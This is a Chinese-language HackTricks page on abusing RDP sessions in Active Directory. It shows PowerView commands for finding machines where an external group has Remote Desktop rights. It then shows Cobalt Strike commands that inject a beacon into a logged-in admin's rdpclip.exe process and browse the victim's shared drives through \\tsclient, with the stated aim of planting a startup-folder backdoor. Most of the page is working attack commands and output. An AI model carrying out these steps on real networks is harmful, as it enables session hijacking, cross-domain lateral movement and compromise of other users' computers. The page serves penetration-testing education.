RDP会话滥用

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

RDP进程注入

如果外部组对当前域中的任何计算机具有RDP访问权限，攻击者可以入侵该计算机并等待用户。

一旦用户通过RDP访问，攻击者可以转移到该用户的会话并滥用其在外部域中的权限。

# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#or
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName

# Then, compromise the listed machines, and wait til someone from the external domain logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID   PPID  Name                         Arch  Session     User
---   ----  ----                         ----  -------     -----
...
4960  1012  rdpclip.exe                  x64   3           EXT\super.admin

beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that user

RDPInception

如果用户通过RDP访问一台被攻击者等待的机器，攻击者将能够在用户的RDP会话中注入一个信标，如果受害者在通过RDP访问时挂载了他的驱动器，攻击者就可以访问它。

在这种情况下，您可以通过在启动文件夹中写入后门来入侵受害者的原始计算机。

# Wait til someone logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID   PPID  Name                         Arch  Session     User
---   ----  ----                         ----  -------     -----
...
4960  1012  rdpclip.exe                  x64   3           EXT\super.admin

beacon> inject 4960 x64 tcp-local

# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
## \\tsclient\c is the C: drive on the origin machine of the RDP session
beacon> ls \\tsclient\c
